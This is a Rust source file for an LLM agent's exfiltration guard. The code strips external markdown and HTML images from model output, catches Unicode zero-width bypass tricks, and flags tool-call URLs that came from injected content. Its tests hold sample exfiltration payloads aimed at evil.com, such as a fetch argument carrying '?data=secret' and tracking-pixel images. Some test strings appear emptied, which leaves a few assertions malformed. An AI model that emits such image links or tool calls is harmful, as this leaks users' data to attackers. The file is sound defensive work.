1use std::collections::HashSet;
29use std::fmt::Write as _;
30use std::sync::LazyLock;
31
32use regex::Regex;
33use zeph_common::ToolName;
34
35pub use zeph_config::ExfiltrationGuardConfig;
36
37static MARKDOWN_IMAGE_RE: LazyLock<Regex> = LazyLock::new(|| {
63 Regex::new(
64 r#"(?i)!\[([^\]]*)\]\(\s*(?:<((?:https?:)?//[^>]+)>|((?:https?:)?//[^)\s]+))(?:\s+(?:"(?:\\.|[^"])*"|'[^']*'|\([^)]*\)))?\s*\)"#,
65 )
66 .expect("valid MARKDOWN_IMAGE_RE")
67});
68
69static REFERENCE_DEF_RE: LazyLock<Regex> = LazyLock::new(|| {
79 Regex::new(r"(?im)^\[([^\]]+)\]:\s*(?:<((?:https?:)?//[^>]+)>|((?:https?:)?//\S+))")
80 .expect("valid REFERENCE_DEF_RE")
81});
82
83static REFERENCE_USAGE_RE: LazyLock<Regex> =
85 LazyLock::new(|| Regex::new(r"!\[([^\]]*)\]\[([^\]]+)\]").expect("valid REFERENCE_USAGE_RE"));
86
87static URL_EXTRACT_RE: LazyLock<Regex> =
97 LazyLock::new(|| Regex::new(r#"(?i)(?:https?:)?//[^\s"'<>]+"#).expect("valid URL_EXTRACT_RE"));
98
99static HTML_IMG_RE: LazyLock<Regex> = LazyLock::new(|| {
109 Regex::new(
110 r#"(?i)<img\b[^>]*\bsrc\s*=\s*(?:["']((?:https?:)?//[^"']+)["']|((?:https?:)?//[^\s>]+))[^>]*>"#,
111 )
112 .expect("valid HTML_IMG_RE")
113});
114
115static UNICODE_BYPASS_RE: LazyLock<Regex> =
126 LazyLock::new(|| Regex::new(r"!(?:[\p{Cf}\x{034F}])+\[").expect("valid UNICODE_BYPASS_RE"));
127
128#[non_exhaustive]
149#[derive(Debug, Clone, PartialEq)]
150pub enum ExfiltrationEvent {
151 MarkdownImageBlocked { url: String },
153 HtmlImageBlocked { url: String },
155 SuspiciousToolUrl { url: String, tool_name: ToolName },
157 MemoryWriteGuarded { reason: String },
159}
160
161#[derive(Debug, Clone)]
192pub struct ExfiltrationGuard {
193 config: ExfiltrationGuardConfig,
194}
195
196impl ExfiltrationGuard {
197 #[must_use]
208 pub fn new(config: ExfiltrationGuardConfig) -> Self {
209 Self { config }
210 }
211
212 #[must_use]
247 pub fn scan_output(&self, text: &str) -> (String, Vec<ExfiltrationEvent>) {
248 if !self.config.block_markdown_images {
249 return (text.to_owned(), vec![]);
250 }
251
252 let mut events = Vec::new();
253 let mut result = text.to_owned();
254
255 let mut replacement = String::new();
257 let mut last_end = 0usize;
258 for cap in MARKDOWN_IMAGE_RE.captures_iter(text) {
259 let m = cap.get(0).expect("full match");
260 let raw_url = cap
261 .get(2)
262 .or_else(|| cap.get(3))
263 .expect("url group")
264 .as_str();
265 let url = percent_decode_url(raw_url);
266
267 if is_external_url(&url) {
268 replacement.push_str(&text[last_end..m.start()]);
269 let _ = write!(replacement, "[image removed: {url}]");
270 last_end = m.end();
271 events.push(ExfiltrationEvent::MarkdownImageBlocked { url });
272 }
273 }
274 if !events.is_empty() || last_end > 0 {
275 replacement.push_str(&text[last_end..]);
276 result = replacement;
277 }
278
279 let mut ref_defs: std::collections::HashMap<String, String> =
282 std::collections::HashMap::new();
283 for cap in REFERENCE_DEF_RE.captures_iter(&result) {
284 let label = cap.get(1).expect("label").as_str().to_lowercase();
285 let raw_url = cap.get(2).or_else(|| cap.get(3)).expect("url").as_str();
286 let url = percent_decode_url(raw_url);
287 if is_external_url(&url) {
288 ref_defs.insert(label, url);
289 }
290 }
291
292 if !ref_defs.is_empty() {
293 let mut cleaned = String::with_capacity(result.len());
295 let mut last_end = 0usize;
296 for cap in REFERENCE_USAGE_RE.captures_iter(&result) {
297 let m = cap.get(0).expect("full match");
298 let label = cap.get(2).expect("label").as_str().to_lowercase();
299 if let Some(url) = ref_defs.get(&label) {
300 cleaned.push_str(&result[last_end..m.start()]);
301 let _ = write!(cleaned, "[image removed: {url}]");
302 last_end = m.end();
303 events.push(ExfiltrationEvent::MarkdownImageBlocked { url: url.clone() });
304 }
305 }
306 cleaned.push_str(&result[last_end..]);
307 result = cleaned;
308
309 let mut def_cleaned = String::with_capacity(result.len());
314 for line in result.split('\n') {
315 let mut keep = true;
316 for cap in REFERENCE_DEF_RE.captures_iter(line) {
317 let label = cap.get(1).expect("label").as_str().to_lowercase();
318 if ref_defs.contains_key(&label) {
319 keep = false;
320 break;
321 }
322 }
323 if keep {
324 def_cleaned.push_str(line);
325 def_cleaned.push('\n');
326 }
327 }
328 if !text.ends_with('\n') && def_cleaned.ends_with('\n') {
330 def_cleaned.pop();
331 }
332 result = def_cleaned;
333 }
334
335 let mut html_result = String::with_capacity(result.len());
337 let mut html_last_end = 0usize;
338 for cap in HTML_IMG_RE.captures_iter(&result) {
339 let m = cap.get(0).expect("full match");
340 let url = cap
341 .get(1)
342 .or_else(|| cap.get(2))
343 .expect("src url group")
344 .as_str()
345 .to_owned();
346 tracing::warn!(url = %url, "HTML img tag with external URL stripped from LLM output");
347 html_result.push_str(&result[html_last_end..m.start()]);
348 let _ = write!(html_result, "[image removed: {url}]");
349 html_last_end = m.end();
350 events.push(ExfiltrationEvent::HtmlImageBlocked { url });
351 }
352 if html_last_end > 0 {
353 html_result.push_str(&result[html_last_end..]);
354 result = html_result;
355 }
356
357 if UNICODE_BYPASS_RE.is_match(&result) {
361 tracing::warn!("Unicode zero-width bypass attempt detected in LLM output; stripping");
362 result = UNICODE_BYPASS_RE
363 .replace_all(&result, "[blocked]")
364 .into_owned();
365 }
366
367 (result, events)
368 }
369
370 #[must_use]
383 pub fn validate_tool_call(
384 &self,
385 tool_name: &str,
386 args_json: &str,
387 flagged_urls: &HashSet<String>,
388 ) -> Vec<ExfiltrationEvent> {
389 if !self.config.validate_tool_urls || flagged_urls.is_empty() {
390 return vec![];
391 }
392
393 let parsed: serde_json::Value = match serde_json::from_str(args_json) {
394 Ok(v) => v,
395 Err(_) => {
396 return Self::scan_raw_args(tool_name, args_json, flagged_urls);
398 }
399 };
400
401 let mut events = Vec::new();
402 let mut strings = Vec::new();
403 collect_strings(&parsed, &mut strings, 0);
404
405 for s in &strings {
406 for url_match in URL_EXTRACT_RE.find_iter(s) {
407 let url = url_match.as_str();
408 if flagged_urls.contains(normalize_url_for_matching(url)) {
409 events.push(ExfiltrationEvent::SuspiciousToolUrl {
410 url: url.to_owned(),
411 tool_name: tool_name.into(),
412 });
413 }
414 }
415 }
416
417 events
418 }
419
420 #[must_use]
429 pub fn should_guard_memory_write(
430 &self,
431 has_injection_flags: bool,
432 ) -> Option<ExfiltrationEvent> {
433 if !self.config.guard_memory_writes || !has_injection_flags {
434 return None;
435 }
436 Some(ExfiltrationEvent::MemoryWriteGuarded {
437 reason: "content contained injection patterns flagged by ContentSanitizer".to_owned(),
438 })
439 }
440
441 fn scan_raw_args(
444 tool_name: &str,
445 args: &str,
446 flagged_urls: &HashSet<String>,
447 ) -> Vec<ExfiltrationEvent> {
448 URL_EXTRACT_RE
449 .find_iter(args)
450 .filter(|m| flagged_urls.contains(normalize_url_for_matching(m.as_str())))
451 .map(|m| ExfiltrationEvent::SuspiciousToolUrl {
452 url: m.as_str().to_owned(),
453 tool_name: tool_name.into(),
454 })
455 .collect()
456 }
457}
458
459#[must_use]
489pub fn extract_flagged_urls(content: &str) -> HashSet<String> {
490 URL_EXTRACT_RE
491 .find_iter(content)
492 .map(|m| m.as_str().to_owned())
493 .collect()
494}
495
496fn percent_decode_url(raw: &str) -> String {
505 let mut out = String::with_capacity(raw.len());
506 let bytes = raw.as_bytes();
507 let mut i = 0;
508 while i < bytes.len() {
509 if bytes[i] == b'%'
510 && i + 2 < bytes.len()
511 && let (Some(hi), Some(lo)) = (
512 (bytes[i + 1] as char).to_digit(16),
513 (bytes[i + 2] as char).to_digit(16),
514 )
515 {
516 #[allow(clippy::cast_possible_truncation)]
518 let byte = ((hi << 4) | lo) as u8;
519 out.push(byte as char);
520 i += 3;
521 continue;
522 }
523 out.push(bytes[i] as char);
524 i += 1;
525 }
526 out
527}
528
529fn is_external_url(url: &str) -> bool {
533 url.starts_with("//")
534 || url
535 .get(..8)
536 .is_some_and(|s| s.eq_ignore_ascii_case("https://"))
537 || url
538 .get(..7)
539 .is_some_and(|s| s.eq_ignore_ascii_case("http://"))
540}
541
542#[must_use]
584pub fn normalize_url_for_matching(url: &str) -> &str {
585 if url
586 .get(..8)
587 .is_some_and(|s| s.eq_ignore_ascii_case("https://"))
588 {
589 &url[6..]
590 } else if url
591 .get(..7)
592 .is_some_and(|s| s.eq_ignore_ascii_case("http://"))
593 {
594 &url[5..]
595 } else {
596 url
597 }
598}
599
600const MAX_JSON_DEPTH: usize = 256;
606
607fn collect_strings<'a>(value: &'a serde_json::Value, out: &mut Vec<&'a str>, depth: usize) {
609 if depth >= MAX_JSON_DEPTH {
610 tracing::warn!(
611 depth,
612 "collect_strings: max JSON nesting depth reached, skipping further descent"
613 );
614 return;
615 }
616 match value {
617 serde_json::Value::String(s) => out.push(s.as_str()),
618 serde_json::Value::Array(arr) => {
619 for v in arr {
620 collect_strings(v, out, depth + 1);
621 }
622 }
623 serde_json::Value::Object(map) => {
624 for v in map.values() {
625 collect_strings(v, out, depth + 1);
626 }
627 }
628 _ => {}
629 }
630}
631
632#[cfg(test)]
637mod tests {
638 use super::*;
639 use std::assert_matches;
640
641 fn guard() -> ExfiltrationGuard {
642 ExfiltrationGuard::new(ExfiltrationGuardConfig::default())
643 }
644
645 fn guard_disabled() -> ExfiltrationGuard {
646 ExfiltrationGuard::new(ExfiltrationGuardConfig {
647 block_markdown_images: false,
648 validate_tool_urls: false,
649 guard_memory_writes: false,
650 })
651 }
652
653 fn build_flagged_set(text: &str) -> HashSet<String> {
661 extract_flagged_urls(text)
662 .iter()
663 .map(|u| normalize_url_for_matching(u).to_owned())
664 .collect()
665 }
666
667 #[test]
670 fn strips_external_inline_image() {
671 let (cleaned, events) =
672 guard().scan_output("Before  after");
673 assert_eq!(
674 cleaned,
675 "Before [image removed: https://evil.com/p.gif] after"
676 );
677 assert_eq!(events.len(), 1);
678 assert!(
679 matches!(&events[0], ExfiltrationEvent::MarkdownImageBlocked { url } if url == "https://evil.com/p.gif")
680 );
681 }
682
683 #[test]
684 fn preserves_local_image() {
685 let text = "Look:  — local";
686 let (cleaned, events) = guard().scan_output(text);
687 assert_eq!(cleaned, text);
688 assert!(events.is_empty());
689 }
690
691 #[test]
692 fn preserves_data_uri() {
693 let text = "Inline: ";
694 let (cleaned, events) = guard().scan_output(text);
695 assert_eq!(cleaned, text);
696 assert!(events.is_empty());
697 }
698
699 #[test]
700 fn strips_multiple_external_images() {
701 let text = " text ";
702 let (cleaned, events) = guard().scan_output(text);
703 assert!(
705 !cleaned.contains(",
706 "first image syntax must be removed: {cleaned}"
707 );
708 assert!(
709 !cleaned.contains(",
710 "second image syntax must be removed: {cleaned}"
711 );
712 assert_eq!(events.len(), 2);
713 }
714
715 #[test]
716 fn scan_output_noop_when_disabled() {
717 let text = "";
718 let (cleaned, events) = guard_disabled().scan_output(text);
719 assert_eq!(cleaned, text);
720 assert!(events.is_empty());
721 }
722
723 #[test]
724 fn strips_reference_style_image() {
725 let text = "Here is the image: ![alt][ref]\n[ref]: https://evil.com/track.gif\nend";
726 let (cleaned, events) = guard().scan_output(text);
727 assert!(
729 !cleaned.contains("![alt][ref]"),
730 "image usage syntax must be removed: {cleaned}"
731 );
732 assert!(
733 !cleaned.contains("[ref]:"),
734 "reference definition must be removed: {cleaned}"
735 );
736 assert!(
737 cleaned.contains("[image removed:"),
738 "replacement label must be present: {cleaned}"
739 );
740 assert!(!events.is_empty(), "must generate event");
741 }
742
743 #[test]
744 fn preserves_local_reference_image() {
745 let text = "![alt][ref]\n[ref]: ./local.png\n";
747 let (cleaned, events) = guard().scan_output(text);
748 assert_eq!(cleaned, text);
749 assert!(events.is_empty());
750 }
751
752 #[test]
753 fn decodes_percent_encoded_url_in_inline_image() {
754 let text = "";
764 let (cleaned, _events) = guard().scan_output(text);
765 assert_eq!(
767 cleaned, text,
768 "percent-encoded scheme not detected by inline regex"
769 );
770
771 let normal = "";
773 let (normal_cleaned, normal_events) = guard().scan_output(normal);
774 assert!(
775 !normal_cleaned.contains(",
776 "normal URL must be removed"
777 );
778 assert_eq!(normal_events.len(), 1);
779 }
780
781 #[test]
782 fn strips_inline_image_with_leading_whitespace_in_destination() {
783 let (cleaned, events) =
785 guard().scan_output("Before  after");
786 assert!(
787 !cleaned.contains(",
788 "markdown image syntax must be removed: {cleaned}"
789 );
790 assert!(
791 cleaned.contains("[image removed: https://evil.com/pixel.gif]"),
792 "replacement label must contain the url: {cleaned}"
793 );
794 assert_eq!(events.len(), 1);
795 }
796
797 #[test]
798 fn strips_inline_image_with_angle_bracket_destination() {
799 let (cleaned, events) =
801 guard().scan_output("Before  after");
802 assert!(
803 !cleaned.contains(",
804 "markdown image syntax must be removed: {cleaned}"
805 );
806 assert!(
807 cleaned.contains("[image removed: https://evil.com/pixel.gif]"),
808 "replacement label must contain the url: {cleaned}"
809 );
810 assert_eq!(events.len(), 1);
811 }
812
813 #[test]
814 fn strips_inline_image_with_double_quoted_title() {
815 let (cleaned, events) =
817 guard().scan_output(r#"Before  after"#);
818 assert!(
819 !cleaned.contains(",
820 "markdown image syntax must be removed: {cleaned}"
821 );
822 assert!(
823 cleaned.contains("[image removed: https://evil.com/x.gif]"),
824 "replacement label must contain the url without the title: {cleaned}"
825 );
826 assert_eq!(events.len(), 1);
827 }
828
829 #[test]
830 fn strips_inline_image_with_single_quoted_title() {
831 let (cleaned, events) =
832 guard().scan_output("Before  after");
833 assert!(
834 !cleaned.contains(",
835 "markdown image syntax must be removed: {cleaned}"
836 );
837 assert_eq!(events.len(), 1);
838 }
839
840 #[test]
841 fn strips_inline_image_with_paren_title() {
842 let (cleaned, events) =
843 guard().scan_output("Before ) after");
844 assert!(
845 !cleaned.contains(",
846 "markdown image syntax must be removed: {cleaned}"
847 );
848 assert_eq!(events.len(), 1);
849 }
850
851 #[test]
852 fn strips_inline_image_with_leading_whitespace_and_title() {
853 let (cleaned, events) =
854 guard().scan_output(r#"Before  after"#);
855 assert!(
856 !cleaned.contains(",
857 "markdown image syntax must be removed: {cleaned}"
858 );
859 assert_eq!(events.len(), 1);
860 }
861
862 #[test]
863 fn strips_inline_image_with_angle_bracket_destination_and_title() {
864 let (cleaned, events) =
865 guard().scan_output(r#"Before  after"#);
866 assert!(
867 !cleaned.contains(",
868 "markdown image syntax must be removed: {cleaned}"
869 );
870 assert!(
871 cleaned.contains("[image removed: https://evil.com/x.gif]"),
872 "replacement label must contain the url without the title: {cleaned}"
873 );
874 assert_eq!(events.len(), 1);
875 }
876
877 #[test]
878 fn strips_reference_style_image_with_angle_bracket_destination() {
879 let text = "Here is the image: ![alt][ref]\n[ref]: <https://evil.com/track.gif>\nend";
880 let (cleaned, events) = guard().scan_output(text);
881 assert!(
882 !cleaned.contains("![alt][ref]"),
883 "image usage syntax must be removed: {cleaned}"
884 );
885 assert!(
886 !cleaned.contains("[ref]:"),
887 "reference definition must be removed: {cleaned}"
888 );
889 assert!(!events.is_empty(), "must generate event");
890 }
891
892 #[test]
893 fn html_img_tag_unquoted_src_blocked() {
894 let guard = ExfiltrationGuard::new(ExfiltrationGuardConfig {
895 block_markdown_images: true,
896 ..ExfiltrationGuardConfig::default()
897 });
898 let (cleaned, events) = guard.scan_output("text <img src=https://evil.com/p.gif> end");
900 assert!(
901 events
902 .iter()
903 .any(|e| matches!(e, ExfiltrationEvent::HtmlImageBlocked { url } if url == "https://evil.com/p.gif")),
904 "expected HtmlImageBlocked event for unquoted src"
905 );
906 assert!(
907 !cleaned.contains("<img"),
908 "img tag must be removed: {cleaned}"
909 );
910 assert!(
911 cleaned.contains("[image removed:"),
912 "replacement label must be present: {cleaned}"
913 );
914 }
915
916 #[test]
917 fn empty_alt_text_still_blocked() {
918 let text = "";
919 let (cleaned, events) = guard().scan_output(text);
920 assert!(
922 !cleaned.contains(",
923 "markdown image syntax must be removed: {cleaned}"
924 );
925 assert!(
926 cleaned.contains("[image removed:"),
927 "replacement label must be present: {cleaned}"
928 );
929 assert_eq!(events.len(), 1);
930 }
931
932 #[test]
933 fn html_img_tag_blocked() {
934 let guard = ExfiltrationGuard::new(ExfiltrationGuardConfig {
935 block_markdown_images: true,
936 ..ExfiltrationGuardConfig::default()
937 });
938 let (cleaned, events) = guard.scan_output(r#"text <img src="https://evil.com/p.gif"> end"#);
939 assert!(
940 events
941 .iter()
942 .any(|e| matches!(e, ExfiltrationEvent::HtmlImageBlocked { .. })),
943 "expected HtmlImageBlocked event"
944 );
945 assert!(
946 !cleaned.contains("<img"),
947 "img tag must be removed: {cleaned}"
948 );
949 assert!(
950 cleaned.contains("[image removed:"),
951 "replacement label must be present: {cleaned}"
952 );
953 }
954
955 #[test]
956 fn html_img_tag_single_quote_blocked() {
957 let guard = ExfiltrationGuard::new(ExfiltrationGuardConfig {
958 block_markdown_images: true,
959 ..ExfiltrationGuardConfig::default()
960 });
961 let (cleaned, events) = guard.scan_output("text <img src='https://evil.com/p.gif'> end");
962 assert!(
963 events
964 .iter()
965 .any(|e| matches!(e, ExfiltrationEvent::HtmlImageBlocked { .. })),
966 "expected HtmlImageBlocked event for single-quoted src"
967 );
968 assert!(
969 !cleaned.contains("<img"),
970 "img tag must be removed: {cleaned}"
971 );
972 }
973
974 #[test]
975 fn html_img_tag_noop_when_disabled() {
976 let input = r#"text <img src="https://evil.com/p.gif"> end"#;
977 let (cleaned, events) = guard_disabled().scan_output(input);
978 assert_eq!(cleaned, input);
979 assert!(events.is_empty());
980 }
981
982 #[test]
983 fn unicode_zwj_bypass_blocked() {
984 let guard = ExfiltrationGuard::new(ExfiltrationGuardConfig {
985 block_markdown_images: true,
986 ..ExfiltrationGuardConfig::default()
987 });
988 let input = "!\u{200B}[alt](https://evil.com/track)";
990 let (cleaned, _events) = guard.scan_output(input);
991 assert!(
994 !cleaned.contains('\u{200B}'),
995 "zero-width char must be stripped: {cleaned}"
996 );
997 assert!(
998 !cleaned.starts_with('!'),
999 "image trigger `!` must be removed: {cleaned}"
1000 );
1001 }
1002
1003 #[test]
1004 fn unicode_word_joiner_bypass_blocked() {
1005 let guard = ExfiltrationGuard::new(ExfiltrationGuardConfig {
1006 block_markdown_images: true,
1007 ..ExfiltrationGuardConfig::default()
1008 });
1009 let input = "!\u{2060}[alt](https://evil.com/track)";
1011 let (cleaned, _events) = guard.scan_output(input);
1012 assert!(
1013 !cleaned.contains('\u{2060}'),
1014 "U+2060 word joiner must be stripped: {cleaned}"
1015 );
1016 assert!(
1017 !cleaned.starts_with('!'),
1018 "image trigger `!` must be removed: {cleaned}"
1019 );
1020 }
1021
1022 #[test]
1023 fn unicode_bypass_noop_when_disabled() {
1024 let input = "!\u{200B}[alt](https://evil.com/track)";
1025 let (cleaned, events) = guard_disabled().scan_output(input);
1026 assert_eq!(cleaned, input);
1027 assert!(events.is_empty());
1028 }
1029
1030 #[test]
1031 fn unicode_bidi_override_bypass_blocked() {
1032 let guard = ExfiltrationGuard::new(ExfiltrationGuardConfig {
1033 block_markdown_images: true,
1034 ..ExfiltrationGuardConfig::default()
1035 });
1036 let input = "!\u{202E}[alt](https://evil.com/track)";
1037 let (cleaned, _events) = guard.scan_output(input);
1038 assert!(
1039 !cleaned.contains('\u{202E}'),
1040 "U+202E BIDI override must be stripped: {cleaned}"
1041 );
1042 assert!(
1043 !cleaned.starts_with('!'),
1044 "image trigger `!` must be removed: {cleaned}"
1045 );
1046 }
1047
1048 #[test]
1049 fn unicode_bidi_isolate_bypass_blocked() {
1050 let guard = ExfiltrationGuard::new(ExfiltrationGuardConfig {
1051 block_markdown_images: true,
1052 ..ExfiltrationGuardConfig::default()
1053 });
1054 let input = "!\u{2066}[alt](https://evil.com/track)";
1055 let (cleaned, _events) = guard.scan_output(input);
1056 assert!(
1057 !cleaned.contains('\u{2066}'),
1058 "U+2066 BIDI isolate must be stripped: {cleaned}"
1059 );
1060 assert!(
1061 !cleaned.starts_with('!'),
1062 "image trigger `!` must be removed: {cleaned}"
1063 );
1064 }
1065
1066 #[test]
1067 fn unicode_soft_hyphen_bypass_blocked() {
1068 let guard = ExfiltrationGuard::new(ExfiltrationGuardConfig {
1069 block_markdown_images: true,
1070 ..ExfiltrationGuardConfig::default()
1071 });
1072 let input = "!\u{00AD}[alt](https://evil.com/track)";
1073 let (cleaned, _events) = guard.scan_output(input);
1074 assert!(
1075 !cleaned.contains('\u{00AD}'),
1076 "U+00AD soft hyphen must be stripped: {cleaned}"
1077 );
1078 assert!(
1079 !cleaned.starts_with('!'),
1080 "image trigger `!` must be removed: {cleaned}"
1081 );
1082 }
1083
1084 #[test]
1085 fn unicode_tags_block_bypass_blocked() {
1086 let guard = ExfiltrationGuard::new(ExfiltrationGuardConfig {
1087 block_markdown_images: true,
1088 ..ExfiltrationGuardConfig::default()
1089 });
1090 let input = "!\u{E0041}[alt](https://evil.com/track)";
1091 let (cleaned, _events) = guard.scan_output(input);
1092 assert!(
1093 !cleaned.contains('\u{E0041}'),
1094 "U+E0041 TAGS char must be stripped: {cleaned}"
1095 );
1096 assert!(
1097 !cleaned.starts_with('!'),
1098 "image trigger `!` must be removed: {cleaned}"
1099 );
1100 }
1101
1102 #[test]
1103 fn unicode_cgj_bypass_blocked() {
1104 let guard = ExfiltrationGuard::new(ExfiltrationGuardConfig {
1105 block_markdown_images: true,
1106 ..ExfiltrationGuardConfig::default()
1107 });
1108 let input = "!\u{034F}[alt](https://evil.com/track)";
1110 let (cleaned, _events) = guard.scan_output(input);
1111 assert!(
1112 !cleaned.contains('\u{034F}'),
1113 "U+034F CGJ must be stripped: {cleaned}"
1114 );
1115 assert!(
1116 !cleaned.starts_with('!'),
1117 "image trigger `!` must be removed: {cleaned}"
1118 );
1119 }
1120
1121 #[test]
1122 fn unicode_heterogeneous_run_bypass_blocked() {
1123 let guard = ExfiltrationGuard::new(ExfiltrationGuardConfig {
1124 block_markdown_images: true,
1125 ..ExfiltrationGuardConfig::default()
1126 });
1127 let input = "!\u{200B}\u{202E}\u{E0001}[alt](https://evil.com/track)";
1129 let (cleaned, _events) = guard.scan_output(input);
1130 assert!(
1131 !cleaned.contains('\u{200B}'),
1132 "U+200B must be stripped in mixed run: {cleaned}"
1133 );
1134 assert!(
1135 !cleaned.contains('\u{202E}'),
1136 "U+202E must be stripped in mixed run: {cleaned}"
1137 );
1138 assert!(
1139 !cleaned.contains('\u{E0001}'),
1140 "U+E0001 must be stripped in mixed run: {cleaned}"
1141 );
1142 assert!(
1143 !cleaned.starts_with('!'),
1144 "image trigger `!` must be removed: {cleaned}"
1145 );
1146 }
1147
1148 #[test]
1149 fn unicode_bypass_no_false_positive_on_space() {
1150 let guard = ExfiltrationGuard::new(ExfiltrationGuardConfig {
1151 block_markdown_images: true,
1152 ..ExfiltrationGuardConfig::default()
1153 });
1154 let input = "! [text](https://example.com/)";
1156 let (cleaned, _events) = guard.scan_output(input);
1157 assert_eq!(
1158 cleaned, input,
1159 "literal space between ! and [ must not trigger bypass detection"
1160 );
1161 }
1162
1163 #[test]
1164 fn unicode_bypass_no_false_positive_on_clean_image() {
1165 let guard = ExfiltrationGuard::new(ExfiltrationGuardConfig {
1166 block_markdown_images: true,
1167 ..ExfiltrationGuardConfig::default()
1168 });
1169 let (cleaned, events) = guard.scan_output("");
1171 assert!(
1172 events
1173 .iter()
1174 .any(|e| matches!(e, ExfiltrationEvent::MarkdownImageBlocked { .. })),
1175 "should produce MarkdownImageBlocked event, not bypass event"
1176 );
1177 assert!(
1178 !cleaned.contains(",
1179 "clean image must be stripped by Pass 1: {cleaned}"
1180 );
1181 }
1182
1183 #[test]
1184 fn strips_inline_image_with_uppercase_scheme() {
1185 let (cleaned, events) = guard().scan_output("Before  after");
1186 assert!(
1187 !cleaned.contains(",
1188 "uppercase-scheme image syntax must be removed: {cleaned}"
1189 );
1190 assert_eq!(events.len(), 1);
1191 }
1192
1193 #[test]
1194 fn strips_inline_image_with_mixed_case_scheme() {
1195 let (cleaned, events) = guard().scan_output("Before  after");
1196 assert!(
1197 !cleaned.contains(",
1198 "mixed-case-scheme image syntax must be removed: {cleaned}"
1199 );
1200 assert_eq!(events.len(), 1);
1201 }
1202
1203 #[test]
1204 fn strips_inline_image_with_scheme_relative_url() {
1205 let (cleaned, events) = guard().scan_output("Before  after");
1206 assert!(
1207 !cleaned.contains(",
1208 "scheme-relative image syntax must be removed: {cleaned}"
1209 );
1210 assert!(
1211 cleaned.contains("[image removed: //evil.com/p.gif]"),
1212 "replacement label must contain the scheme-relative url: {cleaned}"
1213 );
1214 assert_eq!(events.len(), 1);
1215 }
1216
1217 #[test]
1218 fn strips_html_img_tag_with_scheme_relative_src() {
1219 let guard = ExfiltrationGuard::new(ExfiltrationGuardConfig {
1220 block_markdown_images: true,
1221 ..ExfiltrationGuardConfig::default()
1222 });
1223 let (cleaned, events) = guard.scan_output(r#"text <img src="//evil.com/p.gif"> end"#);
1224 assert!(
1225 events
1226 .iter()
1227 .any(|e| matches!(e, ExfiltrationEvent::HtmlImageBlocked { url } if url == "//evil.com/p.gif")),
1228 "expected HtmlImageBlocked event for scheme-relative src"
1229 );
1230 assert!(
1231 !cleaned.contains("<img"),
1232 "img tag must be removed: {cleaned}"
1233 );
1234 }
1235
1236 #[test]
1237 fn strips_reference_style_image_with_scheme_relative_destination() {
1238 let text = "Here is the image: ![alt][ref]\n[ref]: //evil.com/track.gif\nend";
1239 let (cleaned, events) = guard().scan_output(text);
1240 assert!(
1241 !cleaned.contains("![alt][ref]"),
1242 "image usage syntax must be removed: {cleaned}"
1243 );
1244 assert!(
1245 !cleaned.contains("[ref]:"),
1246 "reference definition must be removed: {cleaned}"
1247 );
1248 assert!(!events.is_empty(), "must generate event");
1249 }
1250
1251 #[test]
1252 fn strips_inline_image_with_escaped_quote_in_title() {
1253 let (cleaned, events) =
1254 guard().scan_output(r#"Before  after"#);
1255 assert!(
1256 !cleaned.contains(",
1257 "markdown image syntax with escaped-quote title must be removed: {cleaned}"
1258 );
1259 assert!(
1260 cleaned.contains("[image removed: https://evil.com/x.gif]"),
1261 "replacement label must contain the url without the title: {cleaned}"
1262 );
1263 assert_eq!(events.len(), 1);
1264 }
1265
1266 #[test]
1267 fn preserves_plain_relative_path_image() {
1268 let text = "Look:  — local";
1269 let (cleaned, events) = guard().scan_output(text);
1270 assert_eq!(cleaned, text);
1271 assert!(events.is_empty());
1272 }
1273
1274 #[test]
1275 fn preserves_relative_path_with_interior_double_slash() {
1276 let text = "Look:  — local";
1280 let (cleaned, events) = guard().scan_output(text);
1281 assert_eq!(cleaned, text);
1282 assert!(events.is_empty());
1283 }
1284
1285 #[test]
1286 fn strips_image_with_trailing_backslash_before_title_close() {
1287 let text = r#"Before  after"#;
1297 let (cleaned, events) = guard().scan_output(text);
1298 assert!(
1299 !cleaned.contains(",
1300 "markdown image syntax must be removed: {cleaned}"
1301 );
1302 assert_eq!(events.len(), 1);
1303 }
1304
1305 #[test]
1308 fn is_external_url_case_insensitive_and_scheme_relative() {
1309 assert!(is_external_url("https://evil.com/x"));
1310 assert!(is_external_url("HTTPS://evil.com/x"));
1311 assert!(is_external_url("Http://evil.com/x"));
1312 assert!(is_external_url("//evil.com/x"));
1313 assert!(!is_external_url("images/pic.gif"));
1314 assert!(!is_external_url("/images/pic.gif"));
1315 assert!(!is_external_url("data:image/png;base64,abc"));
1316 }
1317
1318 #[test]
1321 fn detects_flagged_url_in_json_string() {
1322 let flagged = build_flagged_set("https://evil.com/payload");
1325 let args = r#"{"url": "https://evil.com/payload"}"#;
1326 let events = guard().validate_tool_call("fetch", args, &flagged);
1327 assert_eq!(events.len(), 1);
1328 assert!(
1329 matches!(&events[0], ExfiltrationEvent::SuspiciousToolUrl { url, tool_name }
1330 if url == "https://evil.com/payload" && tool_name == "fetch")
1331 );
1332 }
1333
1334 #[test]
1335 fn scheme_relative_flag_matches_explicit_scheme_tool_arg() {
1336 let flagged = build_flagged_set("suspicious link: //evil.com/exfil?data=secret");
1339 let args = r#"{"url": "https://evil.com/exfil?data=secret"}"#;
1340 let events = guard().validate_tool_call("fetch", args, &flagged);
1341 assert_eq!(
1342 events.len(),
1343 1,
1344 "scheme-relative flag must match explicit-scheme tool arg"
1345 );
1346 assert!(
1347 matches!(&events[0], ExfiltrationEvent::SuspiciousToolUrl { url, .. }
1348 if url == "https://evil.com/exfil?data=secret"),
1349 "raw (non-normalized) url must be preserved in the event"
1350 );
1351 }
1352
1353 #[test]
1354 fn explicit_scheme_flag_matches_scheme_relative_tool_arg() {
1355 let flagged = build_flagged_set("suspicious link: https://evil.com/exfil2?data=secret");
1358 let args = r#"{"url": "//evil.com/exfil2?data=secret"}"#;
1359 let events = guard().validate_tool_call("fetch", args, &flagged);
1360 assert_eq!(
1361 events.len(),
1362 1,
1363 "explicit-scheme flag must match scheme-relative tool arg"
1364 );
1365 assert!(
1366 matches!(&events[0], ExfiltrationEvent::SuspiciousToolUrl { url, .. }
1367 if url == "//evil.com/exfil2?data=secret"),
1368 "raw (non-normalized) url must be preserved in the event"
1369 );
1370 }
1371
1372 #[test]
1373 fn no_event_when_url_not_flagged() {
1374 let mut flagged = HashSet::new();
1375 flagged.insert("https://other.com/benign".to_owned());
1376 let args = r#"{"url": "https://legitimate.com/page"}"#;
1377 let events = guard().validate_tool_call("fetch", args, &flagged);
1378 assert!(events.is_empty());
1379 }
1380
1381 #[test]
1382 fn validate_tool_call_noop_when_disabled() {
1383 let mut flagged = HashSet::new();
1384 flagged.insert("https://evil.com/x".to_owned());
